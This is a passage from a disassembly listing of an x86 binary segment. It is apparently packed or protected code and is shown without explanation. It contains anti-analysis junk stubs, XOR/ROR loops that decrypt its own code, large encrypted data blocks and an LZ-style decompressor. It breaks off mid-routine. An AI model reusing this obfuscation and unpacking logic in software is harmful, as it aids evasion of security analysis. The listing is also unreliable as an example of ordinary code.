		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0E853C353h, 71AA30D6h, 0BA3EAF77h, 593AE894h, 0FFFF8AE9h
		dd 0BAF381FFh
		db 2 dup(0C4h),	3Eh
; ---------------------------------------------------------------------------


loc_58A91F:				; CODE XREF: sdfs____:0058A8A6j
		pop	edi
		push	0
		push	ecx
		call	sub_58A92B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A92B	proc near		; CODE XREF: sdfs____:0058A923p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_58A92B	endp

; ---------------------------------------------------------------------------
		xor	esi, [eax-482F742Dh]


loc_58A941:				; CODE XREF: sdfs____:0058A806j
		mov	[ebp+7E94CF4h],	edi
		stc
		mov	edx, [ebp+7E90ABDh]
		lea	ecx, [ebp+7E90FF1h]
		pusha
		mov	cx, 14ADh
		sbb	edx, 883C5D3h
		popa
		push	dword ptr [ebp+7E9138Dh]
		push	0
		push	edi
		call	sub_58A971
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A971	proc near		; CODE XREF: sdfs____:0058A969p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_58A971	endp

; ---------------------------------------------------------------------------
		db 0E1h, 14h, 89h
; ---------------------------------------------------------------------------
		mov	ebp, 7E90711h
		add	bx, 8869h
		lea	eax, [ebp+7EBD19Dh]
		push	eax
		lea	edi, [ebp+7E9546Bh]
		lea	ecx, [ebp+7E96BEEh]
		mov	eax, 54831ABCh
		sub	ecx, edi


loc_58A9A8:				; CODE XREF: sdfs____:0058A9AEj
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_58A9A8
		lea	esi, [ebp+7E96B65h]
		lea	ecx, [ebp+7E96C06h]
		sub	ecx, edi
		rep movsb
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	short loc_58AA11
		cmp	dword ptr [ebp+7E90FB9h], 0
		jz	short loc_58A9DA
		call	dword ptr [ebp+7E91335h]


loc_58A9DA:				; CODE XREF: sdfs____:0058A9D2j
		mov	esi, [ebp+7E94CF4h]
		lea	eax, [ebp+7EBD19Dh]
		call	eax
		lea	eax, [ebp+7E942FFh]
		call	eax
		mov	dword ptr [ebp+7E91DBDh], 1
		mov	esp, [ebp+7E90C71h]
		mov	esi, [ebp+7E92F75h]
		mov	ebp, [ebp+7E90BA1h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_58AA11:				; CODE XREF: sdfs____:0058A9C9j
		xor	dl, 37h


loc_58AA14:				; CODE XREF: sdfs____:0058AA61j
		jmp	loc_58AA27
; ---------------------------------------------------------------------------
		db 1Fh,	89h, 34h
		dd 1A112A49h, 82D79BAFh
		db 6Dh,	0E6h, 44h
; ---------------------------------------------------------------------------


loc_58AA27:				; CODE XREF: sdfs____:loc_58AA14j
		cmp	dword ptr [ebp+7E929E5h], 0
		jz	loc_58AA91
		push	0
		push	ebx
		call	sub_58AA3F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58AA3F	proc near		; CODE XREF: sdfs____:0058AA37p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_58AA3F	endp

; ---------------------------------------------------------------------------
		mov	word ptr [ecx+32h], cs
		push	ds
		mov	eax, ds:663CC5EEh
		pop	es
		jmp	loc_58AA70
; ---------------------------------------------------------------------------
		sbb	dh, [ebx+30h]
		loope	loc_58AA14
		inc	ebp
		or	dword ptr [edi-7Fh], 39h
		mov	bh, 0CFh
		retn
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0D874A1A4h
; ---------------------------------------------------------------------------


loc_58AA70:				; CODE XREF: sdfs____:0058AA59j
		call	dword ptr [ebp+7E9358Dh]
		push	edx
		call	near ptr loc_58AA88+4
		xchg	dl, bh
		inc	edi
		db	36h
		call	far ptr	0E364h:0D10306FDh
		push	es


loc_58AA88:				; CODE XREF: sdfs____:0058AA77p
		sbb	[ecx-40F05BDEh], ebp
		fistp	dword ptr [ebx+5Ah]


loc_58AA91:				; CODE XREF: sdfs____:0058AA2Ej
		cmp	dword ptr [ebp+7E926A9h], 0
		jnz	loc_58ABC2
		mov	ebx, [ebp+7E92615h]
		cmp	dword ptr [ebp+7E91B69h], 1
		jnz	loc_58ABC2
		jmp	loc_58AACA
; ---------------------------------------------------------------------------
		dw 0D9A2h
		dd 8DDB95D0h, 867782F1h, 2148896Bh, 0B02CB26h
		db 90h
		db 2Ch
; ---------------------------------------------------------------------------


loc_58AACA:				; CODE XREF: sdfs____:0058AAB1j
		cmp	dword ptr [ebp+7E92319h], 0
		jz	loc_58ABC2
		add	[ebp+7E90AE5h],	eax
		cmp	dword ptr [ebp+7E94D47h], 0
		jz	loc_58ABC2
		and	dh, 63h
		lea	eax, [ebp+7EBD19Dh]
		push	0
		push	ecx
		call	sub_58AAFE
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58AAFE	proc near		; CODE XREF: sdfs____:0058AAF6p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_58AAFE	endp

; ---------------------------------------------------------------------------
		dw 8B89h
		dd 0E9194D9Dh, 51BD2907h, 8B07E900h, 0E94CF4B5h, 10E807h
		dd 45620000h, 0F49D46F6h, 3DA8FE7h, 0B7AB8D45h,	5AF97B21h
		dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 309C82C3h, 265985C6h, 565407E9h, 0AE9h, 5D96E700h
		dd 0B1E6402Ch, 5A15E65Ch, 13272668h, 240481A0h,	5F3B97CEh
		dd 0FA5B509h, 0D98B07E9h, 2669B5FFh, 9D8907E9h,	7E90319h
		dd 3ABC858Dh, 8B6607E9h, 0F8D0FFDFh, 87B6006Ah,	8950FF6Ah
		dd 0E92F898Dh, 0D0FF5B07h, 358ACB81h, 0B5FF6B9Fh, 7E91E11h
		dd 2A88BA66h, 138D95FFh
		db 0E9h, 7
; ---------------------------------------------------------------------------


loc_58ABC2:				; CODE XREF: sdfs____:0058AA98j
					; sdfs____:0058AAABj ...
		mov	esi, [ebp+7E94CF4h]
		retn
; ---------------------------------------------------------------------------
		sub	[ebp+7E90031h],	esi
		mov	esi, [ebp+7E90875h]
		mov	edx, [ebp+7E911B5h]
		or	esi, esi
		jz	loc_58AC0E
		mov	edx, 64CDBD49h
		mov	byte ptr [esi],	0
		push	0
		push	ebp
		call	sub_58ABF6
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58ABF6	proc near		; CODE XREF: sdfs____:0058ABEEp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_58ABF6	endp

; ---------------------------------------------------------------------------
		dw 95DDh
		dd 4E3EBBC6h
		db 54h,	11h
; ---------------------------------------------------------------------------


loc_58AC0E:				; CODE XREF: sdfs____:0058ABDDj
		mov	[ebp+7E94CFCh],	eax
		sub	ebx, [ebp+7E908B1h]
		cmp	eax, 0
		jz	loc_58AFCD
		push	0
		push	ebx
		call	sub_58AC2E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58AC2E	proc near		; CODE XREF: sdfs____:0058AC26p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_58AC2E	endp

; ---------------------------------------------------------------------------
		dw 0DBE3h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 62h,	0B8h, 0
		dd 80000000h, 9D3174F7h, 7E91821h, 0F00F883h, 0B484h, 0A1B50900h
		dd 8307E919h, 850F02F8h, 8Eh, 28E0F51h,	60000000h, 8D895A61h
		dd 7E91551h, 4377858Dh,	292D07E9h, 8A000009h, 0EA8166D9h
		dd 5090EB66h, 0BE8h, 42324500h,	0DEB41713h, 0F2DEEE78h
		dd 5BD18B66h, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 720825E8h, 874610EEh, 41D28104h
		dd 0E913C949h, 0Dh, 0DCBC3A00h,	0C28BF5CDh, 0E601B400h
		dd 0E951C3E0h, 11h, 1FFD3DDCh, 580E554Dh, 0CD379E72h, 7F85C2AEh
		dd 0B85B6Eh, 8B000000h,	0E9258595h, 0D88B6607h,	2C4E9h
		dd 15BB6600h, 1B8C7h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0D7852AC3h, 9C28637Ch
		dd 0FBDA81D6h, 896158E5h, 0E92AE59Dh, 7CBD8D07h, 6A07E943h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0BC96C357h, 0EAE918h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 6B1D0C3h
		dd 0BE6DEA4Fh, 0C2816684h, 0BF0F15ACh, 2F883DEh, 4A850Fh
		dd 0DE8B0000h, 4574BD8Dh, 6A07E9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 210239C3h, 2399BD89h
		dd 0D38A07E9h, 83E9h, 12E900h, 7A1E0000h, 74B0BE81h, 88FE7059h
		dd 5664FE34h, 998094C5h, 0F03F883h, 2085h, 4C38000h, 0CD07BA66h
		dd 4708BD8Dh, 958907E9h, 7E91659h, 4BE9h, 0BD895300h, 7E91C5Dh
		dd 5F8835Bh, 3A850Fh, 13E80000h, 21000000h, 628077ACh
		dd 62998FFCh, 0B390989Bh, 0E88FE5BFh, 9D8B6732h, 7E90DA5h
		dd 103E95Bh, 11E90000h,	0CC000000h, 5951A077h, 5909A6Bh
		dd 0B1D6BBD4h, 950667ACh, 51006A57h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 8071DD42h
		dd 89CFCE9Ch, 0E90ECDB5h, 0B36B907h, 9D237B9Fh,	7E91AC5h
		dd 0F003F83h, 0B084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 30ED0C7Dh, 0F763BB0Fh
		dd 0C9D10F2Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	72C35747h, 4F219F1h, 8870F2Fh, 51000000h, 1FE58529h
		dd 0E85A07E9h, 10h, 0D5E272B4h,	8D94B09Eh, 8EC0A284h, 0A24C0313h
		dd 779958Bh, 475B07E9h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0C4C35646h, 8361F407h, 0E9ACB84Bh, 0FFFFFF5Ch
		dd 9E8h, 32F83000h, 0B0B28557h,	0BD29DBB8h, 7E92529h
; ---------------------------------------------------------------------------
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_58A779


loc_58AF41:				; CODE XREF: sdfs____:0058A639j
					; sub_58A779+7j
		cmp	eax, 5
		jnz	loc_58AFCD
		push	0
		push	ebp
		call	sub_58AF55
		and	[ebp-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_58A779

; =============== S U B	R O U T	I N E =======================================



sub_58AF55	proc near		; CODE XREF: sub_58A779+7D4p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_58AF55	endp

; ---------------------------------------------------------------------------
		align 2
		mov	edx, [ebp+7E91E01h]
		mov	cx, ds
		movsx	edx, si
		adc	bh, 3Ah
		test	cl, 4
		jnz	loc_58AF9F
		or	dl, 0EFh
		mov	eax, 0
		jno	loc_58AF92
		or	[ebp+7E93571h],	esi


loc_58AF92:				; CODE XREF: sdfs____:0058AF86j
		jmp	loc_58AFCD
; ---------------------------------------------------------------------------
		xor	bx, 25B3h
		mov	dx, ax


loc_58AF9F:				; CODE XREF: sdfs____:0058AF78j
		mov	eax, [ebp+7E91245h]
		cld
		jmp	eax
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_58AFB3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58AFB3	proc near		; CODE XREF: sdfs____:0058AFABp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_58AFB3	endp

; ---------------------------------------------------------------------------
		db 42h
		dd 89CE7C54h, 0E9136985h
; ---------------------------------------------------------------------------
		pop	es
; START	OF FUNCTION CHUNK FOR sub_58A779


loc_58AFCD:				; CODE XREF: sdfs____:0058A4F9j
					; sdfs____:0058AC1Dj ...
		cmp	dword ptr [ebp+7E9138Dh], 0
		jnz	loc_58B0D0
		push	0
		push	ebx
		call	sub_58AFE5
		and	[ebx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_58A779

; =============== S U B	R O U T	I N E =======================================



sub_58AFE5	proc near		; CODE XREF: sub_58A779+864p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_58AFE5	endp

; ---------------------------------------------------------------------------
		db 26h,	96h, 4Eh
		dd 29D05D32h, 0BF0F712Ah, 12E9D7h, 87240000h, 67AAD642h
		dd 0BB62964h, 37B57944h, 73ADCEAAh, 5E850h, 6D3B0000h
		dd 8BF5EF05h, 4895BD9h,	0D7B70F24h, 265985C6h, 0F4507E9h
		dd 681h, 61958900h, 6807E90Bh, 8E88FE6Eh, 8636BF60h, 0B8531485h
		dd 2BFC4924h, 3481615Fh, 0FA970724h, 0E8EA8100h, 0FF07225Bh
		dd 0E92669B5h, 8DFD8A07h, 0E93ABC85h, 0E9606007h, 14h
		dd 0D0C93B7Ch, 0D4994965h, 69B3DA1Fh, 36156413h, 0DCE4A58h
		dd 0EED98166h, 0F18B6153h, 8BD0FF61h, 891BB6D6h, 0E9138D85h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 2CBD5309h, 0E045FCA0h, 0EA816607h, 8151E174h
		dd 0E06983CBh, 0F9585B6Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A779


loc_58B0D0:				; CODE XREF: sub_58A779+85Bj
		cmp	dword ptr [ebp+7E94D4Bh], 0
		jz	loc_58B13C
		push	0
		push	edx
		call	sub_58B0E8
		and	[edx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_58A779

; =============== S U B	R O U T	I N E =======================================



sub_58B0E8	proc near		; CODE XREF: sub_58A779+967p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_58B0E8	endp

; ---------------------------------------------------------------------------
		dd 7196B359h, 94D96E8Bh, 7799D8Bh, 0B5FF07E9h, 7E91E11h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D4C35646h
		dd 0DABA5003h, 5A45FDBCh, 138D95FFh, 0CB8107E9h, 630312E6h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A779


loc_58B13C:				; CODE XREF: sub_58A779+95Ej
		cmp	eax, 0
		jnz	loc_58B1B0
		adc	edx, 61B4125Eh
		cmp	dword ptr [ebp+7E90B1Dh], 0
		jz	loc_58B181
		sub	dx, 0D0F0h
		push	dword ptr [ebp+7E90B1Dh]
		jo	loc_58B16E
		mov	ebx, 404FBAECh


loc_58B16E:				; CODE XREF: sub_58A779+9EAj
		mov	eax, 1
		add	dx, 0DDACh
		jmp	loc_58B367
; END OF FUNCTION CHUNK	FOR sub_58A779
; ---------------------------------------------------------------------------
		mov	dx, 765Ah
; START	OF FUNCTION CHUNK FOR sub_58A779


loc_58B181:				; CODE XREF: sub_58A779+9D9j
		push	dword ptr [ebp+7E91E11h]
		jz	loc_58B193
		mov	[ebp+7E90035h],	eax


loc_58B193:				; CODE XREF: sub_58A779+A0Ej
		push	dword ptr [ebp+7E91E11h]
		clc
		push	dword ptr [ebp+7E9138Dh]
		add	bh, 76h
		jmp	loc_58B367
; END OF FUNCTION CHUNK	FOR sub_58A779
; ---------------------------------------------------------------------------
		mov	dl, 14h
		mov	edx, [ebp+7E91331h]
; START	OF FUNCTION CHUNK FOR sub_58A779


loc_58B1B0:				; CODE XREF: sub_58A779+9C6j
		pop	edi
		push	0
		push	edi
		call	sub_58B1BC
		and	[edi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_58A779

; =============== S U B	R O U T	I N E =======================================



sub_58B1BC	proc near		; CODE XREF: sub_58A779+A3Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_58B1BC	endp

; ---------------------------------------------------------------------------
		dd 0C5BD8363h, 7E918h, 0D9850Fh, 958B0000h, 7E90D99h, 265985C6h
		dd 6A4D07E9h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 28BEC352h, 216343D1h, 93CE38AFh
		dd 191D8589h, 4E807E9h,	0A8000000h, 0FA43576h, 1084h, 0BE900h
		dd 562E0000h, 0D9F26C1Fh, 41D02500h, 57515093h,	864ABA66h
		dd 448B5A5Ah, 0F08A0424h, 0DA8B008Bh, 4244489h,	0B658DE8Bh
		dd 0B5B5FFF1h, 6A07E916h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 76DC356h, 858DD4C7h
		dd 7E93ABCh, 22C19589h,	0D0FF07E9h, 5270CE80h, 0AEC28060h
		dd 0CE8h, 7D13D000h, 7A9F9D73h,	3B24C108h, 5A6158D1h, 18C58589h
		dd 9D8B07E9h, 7E9209Dh,	5870Fh,	81660000h, 0B81032F2h
		dd 0
; ---------------------------------------------------------------------------
		jmp	loc_58B2C7
; ---------------------------------------------------------------------------
		mov	word ptr [edi+5C5A07BAh], es
		inc	ecx
		test	[bp+si], eax


loc_58B2C7:				; CODE XREF: sdfs____:0058B2B8j
		sub	[ebp+7E91DE9h],	eax
		mov	[ebp+7E94CF4h],	edi
		push	0
		push	eax
		call	sub_58B2DE
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58B2DE	proc near		; CODE XREF: sdfs____:0058B2D6p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_58B2DE	endp

; ---------------------------------------------------------------------------
		pand	mm3, qword ptr [edi-4Dh]
		mov	ebx, [ebp+7E90BA5h]
		or	eax, eax
		jz	loc_58B311
		or	[ebp+7E90BC5h],	eax
		jmp	loc_58B367
; ---------------------------------------------------------------------------
		mov	[ebp+7E92401h],	esi


loc_58B311:				; CODE XREF: sdfs____:0058B2FAj
		push	dword ptr [ebp+7E9138Dh]
		sbb	dx, 241h
		lea	eax, [ebp+7EBD19Dh]
		mov	[ebp+7E90FA1h],	edi
		push	eax
		push	eax
		pop	ebx
		mov	[esp], eax
		push	0
		push	edx
		call	sub_58B339
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58B339	proc near		; CODE XREF: sdfs____:0058B331p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_58B339	endp

; ---------------------------------------------------------------------------
		db 0FCh, 0A0h, 2Ch
		dd 0B3F74E15h, 0E9471274h, 0Fh,	0E4CD65CCh, 0C10FCBC9h
		dd 452290E1h
		db 0B6h, 0DFh, 0B2h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A779


loc_58B367:				; CODE XREF: sub_58A779+9FFj
					; sub_58A779+A2Aj ...
		push	eax
		push	esi
		lea	edi, [ebp+7E9546Bh]
		lea	ecx, [ebp+7E975C2h]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_58B37C:				; CODE XREF: sub_58A779+C09j
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_58B37C
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+7E90B1Dh], 0
		jz	short loc_58B395
		mov	ecx, [ebp+7E92161h]


loc_58B395:				; CODE XREF: sub_58A779+C14j
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_58B44C
		cmp	dword ptr [ebp+7E90FB9h], 0
		jz	short loc_58B3B3
		call	dword ptr [ebp+7E91335h]


loc_58B3B3:				; CODE XREF: sub_58A779+C32j
		mov	eax, 0
		or	eax, eax
		jnz	short loc_58B3C5
		cmp	dword ptr [ebp+7E94CFCh], 1
		jz	short loc_58B3CE


loc_58B3C5:				; CODE XREF: sub_58A779+C41j
		cmp	dword ptr [ebp+7E94CFCh], 2
		jnz	short loc_58B3DC


loc_58B3CE:				; CODE XREF: sub_58A779+C4Aj
		mov	esi, [ebp+7E94CF4h]
		lea	eax, [ebp+7EBD19Dh]
		call	eax


loc_58B3DC:				; CODE XREF: sub_58A779+C53j
		cmp	dword ptr [ebp+7E929E5h], 0
		jz	short loc_58B3EB
		call	dword ptr [ebp+7E9358Dh]


loc_58B3EB:				; CODE XREF: sub_58A779+C6Aj
		lea	eax, [ebp+7E942FFh]
		call	eax
		cmp	dword ptr [ebp+7E92625h], 2
		jnz	short loc_58B42B
		mov	esp, [ebp+7E90C71h]
		mov	eax, [ebp+7E90B1Dh]
		mov	[esp+18h+var_18], eax
		mov	dword ptr [ebp+7E91DBDh], 1
		mov	esi, [ebp+7E94CF8h]
		mov	ebp, [ebp+7E90BA1h]
		mov	eax, 1
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_58A779
; ---------------------------------------------------------------------------
		jmp	short $+2
; START	OF FUNCTION CHUNK FOR sub_58A779


loc_58B42B:				; CODE XREF: sub_58A779+C81j
		mov	dword ptr [ebp+7E91DBDh], 1
		mov	esp, [ebp+7E90C71h]
		mov	esi, [ebp+7E92F75h]
		mov	ebp, [ebp+7E90BA1h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_58B44C:				; CODE XREF: sub_58A779+C25j
		cmp	dword ptr [ebp+7E929E5h], 0
		jz	short loc_58B464
		cmp	dword ptr [ebp+7E9358Dh], 0
		jz	short loc_58B464
		call	dword ptr [ebp+7E9358Dh]


loc_58B464:				; CODE XREF: sub_58A779+CDAj
					; sub_58A779+CE3j
		mov	esi, [ebp+7E94CF4h]
		retn
; END OF FUNCTION CHUNK	FOR sub_58A779
; ---------------------------------------------------------------------------
		xor	edx, 3311EC6h
		jmp	loc_58B481
; ---------------------------------------------------------------------------
		dw 5054h
		dd 64032B17h, 14408AC5h
		db 3
; ---------------------------------------------------------------------------


loc_58B481:				; CODE XREF: sdfs____:0058B471j
		sub	edx, edx
		push	edi
		mov	[ebp+7E90FB1h],	esi
		pop	edx
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_58B49B
; ---------------------------------------------------------------------------


loc_58B499:				; CODE XREF: sdfs____:0058B49Ej
		inc	eax
		inc	edi


loc_58B49B:				; CODE XREF: sdfs____:0058B497j
		cmp	byte ptr [edi],	0
		jnz	short loc_58B499
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_58B4CA
; ---------------------------------------------------------------------------


loc_58B4A7:				; CODE XREF: sdfs____:0058B4CCj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_58B4BF
; ---------------------------------------------------------------------------


loc_58B4BC:				; CODE XREF: sdfs____:0058B4C2j
		mul	ebx
		dec	esi


loc_58B4BF:				; CODE XREF: sdfs____:0058B4BAj
		cmp	esi, 0
		ja	short loc_58B4BC
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_58B4CA:				; CODE XREF: sdfs____:0058B4A5j
		or	eax, eax
		jnz	short loc_58B4A7
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		mov	dh, 0F5h
		and	ebx, [ebp+7E90219h]
; START	OF FUNCTION CHUNK FOR sub_587F3F


loc_58B4E0:				; CODE XREF: sub_587F3F:loc_588B09j
		mov	eax, ecx
		jmp	loc_58B694
; END OF FUNCTION CHUNK	FOR sub_587F3F
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h


loc_58B4F3:				; CODE XREF: sdfs____:loc_58B50Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_58B4FE:				; CODE XREF: sdfs____:0058B589j
					; sdfs____:0058B5F1j ...
		add	dl, dl
		jnz	loc_58B50B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58B50B:				; CODE XREF: sdfs____:0058B500j
		jnb	loc_58B4F3
		add	dl, dl
		jnz	loc_58B51E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58B51E:				; CODE XREF: sdfs____:0058B513j
		jnb	loc_58B58E
		xor	eax, eax
		add	dl, dl
		jnz	loc_58B533
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58B533:				; CODE XREF: sdfs____:0058B528j
		jnb	loc_58B663
		add	dl, dl
		jnz	loc_58B546
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58B546:				; CODE XREF: sdfs____:0058B53Bj
		adc	eax, eax
		add	dl, dl
		jnz	loc_58B555
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58B555:				; CODE XREF: sdfs____:0058B54Aj
		adc	eax, eax
		add	dl, dl
		jnz	loc_58B564
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58B564:				; CODE XREF: sdfs____:0058B559j
		adc	eax, eax
		add	dl, dl
		jnz	loc_58B573
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58B573:				; CODE XREF: sdfs____:0058B568j
		adc	eax, eax
		jz	loc_58B581
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_58B581:				; CODE XREF: sdfs____:0058B575j
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	loc_58B4FE
; ---------------------------------------------------------------------------


loc_58B58E:				; CODE XREF: sdfs____:loc_58B51Ej
		mov	eax, 1


loc_58B593:				; CODE XREF: sdfs____:loc_58B5AFj
		add	dl, dl
		jnz	loc_58B5A0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58B5A0:				; CODE XREF: sdfs____:0058B595j
		adc	eax, eax
		add	dl, dl
		jnz	loc_58B5AF
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58B5AF:				; CODE XREF: sdfs____:0058B5A4j
		jb	loc_58B593
		sub	eax, ebx
		mov	ebx, 1
		jnz	loc_58B5F6
		mov	ecx, 1


loc_58B5C7:				; CODE XREF: sdfs____:loc_58B5E3j
		add	dl, dl
		jnz	loc_58B5D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58B5D4:				; CODE XREF: sdfs____:0058B5C9j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_58B5E3
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58B5E3:				; CODE XREF: sdfs____:0058B5D8j
		jb	loc_58B5C7
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_58B4FE
; ---------------------------------------------------------------------------


loc_58B5F6:				; CODE XREF: sdfs____:0058B5BCj
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_58B604:				; CODE XREF: sdfs____:loc_58B620j
		add	dl, dl
		jnz	loc_58B611
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58B611:				; CODE XREF: sdfs____:0058B606j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_58B620
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58B620:				; CODE XREF: sdfs____:0058B615j
		jb	loc_58B604
		cmp	eax, 7D00h
		jnb	loc_58B653
		cmp	eax, 500h
		jb	loc_58B64A
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_58B4FE
; ---------------------------------------------------------------------------


loc_58B64A:				; CODE XREF: sdfs____:0058B636j
		cmp	eax, 7Fh
		ja	loc_58B656


loc_58B653:				; CODE XREF: sdfs____:0058B62Bj
		add	ecx, 2


loc_58B656:				; CODE XREF: sdfs____:0058B64Dj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_58B4FE
; ---------------------------------------------------------------------------


loc_58B663:				; CODE XREF: sdfs____:loc_58B533j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	loc_58B688
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
